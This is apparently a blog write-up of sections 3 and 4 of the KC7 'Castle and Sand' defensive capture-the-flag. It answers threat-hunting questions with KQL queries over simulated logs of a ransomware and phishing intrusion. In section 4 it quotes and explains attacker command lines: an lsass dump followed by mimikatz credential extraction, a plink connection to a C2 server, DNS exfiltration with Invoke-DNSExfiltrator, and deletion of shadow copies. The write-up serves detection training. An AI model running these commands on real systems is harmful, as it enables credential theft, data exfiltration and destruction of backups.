KC7 CTF — Castle and Sand Writeup: Section 3 & 4
Recap on Section 1 & 2 (Highly suggest you to read it before starting this for context): https://medium.com/@PLZENTERTEXT/kc7-ctf-castle-and-sand-writeup-section-1-2-4d3debeb31e2
NOTE:
- 🦆 for hard challenges
- Section 3 requires some Section 2 challenges
- Section 5 requires some Section 4 challenges
Section 3: Hunting the Shark 🔍
- Oh no! The ransomware gang sent the Castle&Sand CEO a voicemail. Listen to it. How many hours does Castle&Sand have before the gang releases the information? Link to voicemail: https://twitter.com/webyteyourdata/status/1665825830495219713
72
2. What do the ransomware gang call themselves?
Shark boys ; shark boyz ; shark bois ; Shark Boyz ; sharkboyz ; sharkbois
3. What MITRE Technique is aligned with what this group did on Castle&Sand systems?
T1486 (Data Encrypted for Impact)
4. Search for the email domain used in the ransom note. What is the ZIP code of their headquarters?
5. What country is this email service located in?
USA
6. Look at the IP addresses from Section 2, Q16 using MaxMind GeoIP2. How many continents total are these IP addresses from? https://www.maxmind.com/en/geoip-demo
3
7. Use search.censys.io to look up the IP address found in Section 2, Q17. What is the Autonomous System (AS) number for the IP address?
AS3215
8. Look at the IPs from Section 2, Q18. Which one is assigned to a University?
157.242.169.232 (Loyola Marymount University)
9. 🦆 Look at the emails from Section 2, Q25. Which email address is associated with a company outside of the United States?
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to
| extend reply_to = split(reply_to, "@")[1];
PassiveDns
| where domain in ("verizon.com", "hotmail.com", "yandex.com", "castleandsand.com")
| distinct ip
Since there is no results, meaning castleandsand’s location cannot be found (No mapped IP).
However, yandex is a Russian company (& the only email in the email list):
10. For the tool found in Section 2, Q38, what is the MITRE ID for that specific software?
S0002 (Mimikatz)
11. For the tool found in Section 2, Q38, what is the MITRE ID for that type of technique that this tool is typically used for?
Reference: Mimikatz, Software S0002 | MITRE ATT&CK®
T1003 (OS Credential Dumping)
12. ❌ Take the filenames from Section 2, Q42. How many unique SHA256 hashes are found in Castle&Sand’s environment with these filenames?
let email_list =
Email
| where (sender == "legal.sand@verizon.com") and (recipient contains "castleandsand.com")
| distinct reply_to;
let filename_list =
Email
| where (reply_to has_any (email_list)) or (recipient has_any (email_list))
| extend Path = tostring(parse_url(link).Path) // Getting the Path section only
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
let hostname_list =
FileCreationEvents
| where filename in (filename_list)
| distinct hostname;
let parent_process_list =
ProcessEvents
| where hostname in (hostname_list)
| where timestamp > datetime(2023-05-25T16:43:20Z)
| where process_name == "powershell.exe"
| where process_commandline contains "powershell.exe -nop -w hidden -c"
| distinct parent_process_name;
ProcessEvents
| where parent_process_name in (parent_process_list)
| distinct parent_process_hash
| count
9
13. How many were flagged as malicious on VirusTotal?
21ff279ba30d227e32e63cb388bf8c2d21c4fd7e935b3087088579b29e56d81d
(Malicious)af99dea461d36b775235a107c7ea94a2b457851ef62d0ed6f0c50fb5131c8c8b
(Malicious)aa48acaef62a7bfb3192f8a7d6e5229764618ac1ad1bd1b5f6d19a78864eb31f
(Malicious)4874d336c5c7c2f558cfd5954655cacfc85bcfcb512a45fb0ff461ce9c38b86d
(Not Malicious)7ef2cc079afe7927b78be493f0b8a735a3258bc82801a11bc7b420a72708c250
(Malicious)b99d114b267ffd068c3289199b6df95a9f9e64872d6c2b666d63974bbce75bf2
(Malicious)d18aa84b7bf0efde9c6b5db2a38ab1ec9484c59c5284c0bd080f5197bf9388b0
(Malicious)82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180
(Malicious)f77077777b0cd9edd693b87cbaaaefe73436395192a2b77a841b2d5bd9b088e8
(Malicious)
8
14. Which file hash was reported by the security community as the ransomware’s encrypted payload?
82a7241d747864a8cf621f226f1446a434d2f98435a93497eafb48b35c12c180
15. For Section 2, Q43, what ransomware family uses a command similar to this process execution?
Bablock ; Rorschach ; Storm-1219 (Can be seen from S3Q13 Community section or Family labels section, Bablock is always mentioned)
Section 4: Sand in my 👁️👁️ (New Threat Actor)
- Castle&Sand may have been targeted by a recent phishing campaign. The threat actors used an email with Castle&Sand’s name in it: castleandsand_official@outlook.com. How many emails were sent from this email to Castle&Sand employees?
Email
| where sender startswith "castleandsand_official@outlook.com"
| count
2. There appears to be another email account. How many emails total are referenced by these two email accounts?
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| count
3. How many unique domains were used by these email accounts?
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| extend Result = tostring(parse_url(link).Host) // Getting the Host section only
| distinct Result
| count
4. Based on these domains, what type of attack did this threat actor conduct?
Watering-hole attack
5. How many distinct job roles were targeted by this type of attack?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
Employees
| where email_addr in (watering_hole_domain)
| distinct role
| count
6. 🦆 Take the targeted employees and look for all external IP addresses that authenticated to those users. How many external IP addresses were used to successfully log into those user accounts?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect"
| distinct src_ip
| count
💡 VERY IMPORTANT: Use username
instead of hostname
, the answer differs! This is so maybe because they first log into accounts and then can spread to more machines using additional IP addresses later.
7. 🦆 These IP addresses may have accessed email inboxes and downloaded data. How many unique filenames were downloaded by these IP addresses?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let external_ip =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect"
| distinct src_ip;
InboundNetworkEvents
| where src_ip in (external_ip)
| where url has "download=true&"
| extend Filename = tostring(parse_url(url).['Query Parameters']['output'])
| distinct Filename
| count
💡 InboundNetworkEvents
’s url
column has mail related queries :’D
8. How many distinct IPs were involved in the stealing of downloaded data from the previous questions?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let external_ip =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users) and description !has "incorrect"
| distinct src_ip;
InboundNetworkEvents
| where src_ip in (external_ip)
| where url has "download=true&"
| extend Filename = tostring(parse_url(url).['Query Parameters']['output'])
| distinct src_ip
| count
156.155.83.236, 215.168.239.75, 223.9.222.59, 43.185.57.65, 195.242.92.76, 124.138.210.88, 192.91.130.34, 190.198.227.17, 215.239.162.10
9. Based on the IPs from Q6, how many unique domains did they resolve to?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let username_list =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users)
| distinct src_ip;
PassiveDns
| where ip in (username_list)
| distinct domain
| count
10. Go back to the user accounts that may have been affected by the phishing campaign. How many hosts have they logged into?
let watering_hole_recipient =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let watering_hole_username =
Employees
| where email_addr in (watering_hole_recipient)
| distinct username;
AuthenticationEvents
| where username in (watering_hole_username)
| where result == "Successful Login"
| distinct hostname
| count
11. Investigate the domains from Q9. How many files are present on Castle&Sand systems that originated from these domains?
let watering_hole_domain =
Email
| where sender startswith "castleandsand_official@outlook.com" or sender startswith "castleandsandlegaldepartment@gmail.com"
| distinct recipient;
let emp_ip_list =
Employees
| distinct ip_addr;
let targeted_users =
Employees
| where email_addr in (watering_hole_domain)
| distinct username;
let external_ip_list =
AuthenticationEvents
| where not(src_ip in (emp_ip_list)) and result == "Successful Login" and username in (targeted_users)
| distinct src_ip;
let domain_list =
PassiveDns
| where ip in (external_ip_list)
| distinct domain;
let filenames =
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (domain_list)
| distinct url
| extend Path = tostring(parse_url(url).Path)
| extend Filename = tostring(parse_path(Path).Filename)
| distinct Filename;
FileCreationEvents
| where filename in (filenames)
| count
Distinct filenames:
Work-Updates.docx
HR_Notes.pdf
employee.lnk
Employee_Changes.xlsx
store_updates.xlsx
12. 🦆 Investigate what happens after these files are downloaded and find malicious activity. How many unique malware filenames are created from these files?
let victim_hostname =
FileCreationEvents
| where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx")
| distinct hostname;
FileCreationEvents
| where hostname in (victim_hostname)
A pattern is found where after installation of the files mentioned, there will be another instance of the same hostname, but with a different/suspicious filename
let victim_hostname =
FileCreationEvents
| where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx")
| distinct hostname;
FileCreationEvents
| where hostname in (victim_hostname)
| serialize // Marks the input row set as serialized (ordered), so that window functions can be applied to it
| extend next_timestamp_filename = next(filename) // Finding the next filename on the next timestamp
| where filename in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx")
| where next_timestamp_filename !in ("Work-Updates.docx", "HR_Notes.pdf", "employee.lnk", "Employee_Changes.xlsx", "store_updates.xlsx") // If the next file is one of the originals, ignore
| distinct next_timestamp_filename
| count
Malware filenames:
TSVIPSrv.dll
1.exe
i.exe
wmi.dll
procdump64.exe
(Only this file is not malicious in VirusTotal)
13. How many of these files total are present on Castle&Sand systems?
FileCreationEvents
| where filename in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| count
14. How many distinct C2 servers are associated with the malware?
ProcessEvents
// All related processes
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| where process_commandline has "plink.exe"
| distinct process_commandline
| count
C2 servers are IPs in this case
195.242.92.76
190.198.227.17
43.185.57.65
198.161.105.253
223.119.134.94
215.168.239.75
15. 🦆 Find out what this threat actor did at the very end. When is the first time you see this final action by the threat actor? Copy & paste the full timestamp.
(Heads up: This is a long one)
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
Output:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp C:\\mi.exe \\"privilege::debug\\" \\"sekurlsa::logonpasswords full\\" exit >> C:\\log.txt mimikatz's sekurlsa::logonpasswords
procdump64.exe
- CLI utility that creates memory dumps of processesaccepteula
- Flag to accept the End-User License Agreement (EULA) for Procdump without promptingma
- Option to create a full dump of a process (lsass.exe
- Process name for the Local Security Authority Subsystem Service)lsass.dmp
- Name of the dump file that will be createdC:\\\\mi.exe
- Name of an executable file that is run after the dump is created"privilege::debug"
and"sekurlsa::logonpasswords full"
are commands/parameters passed to the debuggerexit
- Exit the debuggermimikatz's sekurlsa::logonpasswords
is likely a comment or note about the purpose of the command
2. plink.exe -i C:\\Users\\admin\\.ssh\\id_rsa 215.168.239.75 -q
- Trying to initiate a SSH connection for C2 server
plink.exe
- CLI SSH client-i C:\\Users\\admin\\.ssh\\id_rsa
- Path to the private key file used for authentication-q
- Quiet mode, suppressing output
3. cmd.exe /c a.bat > C:\\wmi.dll 2>&1
/c
- Option to execute the specified command and then terminatea.bat
- Batch file or script to be executed2>&1
- Redirects the standard error to the same location as the standard output (wmi.dll
)
Getting the last affected user with the last timestamp and looking through the commands:
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| where username == "jojones" and hostname == "NYEL-DESKTOP"
ProcessEvents
| where username == "jojones" and hostname == "NYEL-DESKTOP" and timestamp > datetime(2023-05-17T09:20:15Z)
Attacker was doing recon:
cmd.exe whoami
cmd.exe ipconfig /all
cmd.exe net localgroup administrators /domain
cmd.exe nltest /dc:list
(List the domain controllers available in the current domain)
Getting the first timestamp from the attack, and viewing the commands (Unsuspicious ones were filtered out at the end):
let affected_username =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct username;
let affected_hostname =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct hostname;
ProcessEvents
| where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
| distinct process_commandline
| where process_commandline !contains "Teams.exe"
and process_commandline !contains "Spotify"
and process_commandline !contains "EXCEL.EXE"
and process_commandline !contains "WINWORD.EXE"
and process_commandline !contains "OneDrive.exe"
Suspicious/Unusual commands:
cy.exe --run=1337 --pt=C:\\Users\\Public\\Desktop\\winutils.dll --cg=C:\\Users\\Public\\Desktop\\config.ini --we=C:\\Users\\Public\\Desktop\\cy.exe
- Using Cortex XDR Dump Service Tool (
cy.exe
) to sideload the Rorschach loader and injector (winutils.dll
), which lead to launching the ransomware payload, “config.ini
,” into a a Notepad process: https://www.bleepingcomputer.com/news/security/new-rorschach-ransomware-is-the-fastest-encryptor-seen-so-far/
2. Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500
- https://github.com/Arno0x/DNSExfiltrator/tree/master
- Allows for transfering (exfiltrate) a file over a DNS request covert channel
- Basically a data leak testing tool allowing to exfiltrate data over a covert channel
3. Trying to inhibit system recovery:
bcdedit.exe 111111111111111111111111111
- Used to manage the Boot Configuration Data (BCD) store in Windows
- The BCD store contains boot configuration parameters and controls the boot process for Windows
- Responsible for specifying which operating system to boot, configuring boot options, and managing boot entries
111...111
is not a valid argument- Without a valid argument, the command would likely result in an error or display the available options for the
bcdedit.exe
command
vssadmin.exe 11111111111111111111111
- Used to manage the Volume Shadow Copy Service (VSS) in Windows
vssadmin.exe delete shadows /All /Quiet
- Delete all existing shadow copies on the system
- Shadow copies are created by the Volume Shadow Copy Service and are used for creating backups or restoring previous versions of files
- By running this command with the
/All
and/Quiet
options, it deletes all shadow copies without prompting for confirmation or displaying any output
wbadmin.exe 1111111111
- Used for Windows Server Backup administration and recovery operations
wevtutil.exe 111111111111111111111111111111
- Used for managing Windows Event Logs
Trying Invoke-DNSExfiltrator
:
let affected_username =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct username;
let affected_hostname =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct hostname;
ProcessEvents
| where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
| where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500"
2023–05–26T10:33:04Z
(The first occurrence ofInvoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500
)
Extra note:
let affected_username =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct username;
let affected_hostname =
ProcessEvents
| where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
| distinct hostname;
FileCreationEvents
| where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
Invoke-DNSExfiltrator.ps1
was created- Nearing the end, every file is encrypted with
.sharkfin
16. What MITRE Technique is this aligned with?
T1048 (Exfiltration — Exfiltration Over Alternative Protocol)
17. How many hosts are affected by this action?
ProcessEvents
| where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500"
| distinct hostname
| count
18. How many distinct job roles were affected by this action?
let victim_hostname =
ProcessEvents
| where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500"
| distinct hostname;
Employees
| where hostname in (victim_hostname)
| distinct role
| count
Fun fact, the roles are:
- Marketing Director
- Chief Executive Officer
- Sales Director
- Chief Operations Officer
- Chief Financial Officer
Wew, another long one! We have 2 more last sections (Section 5 & 6) to go!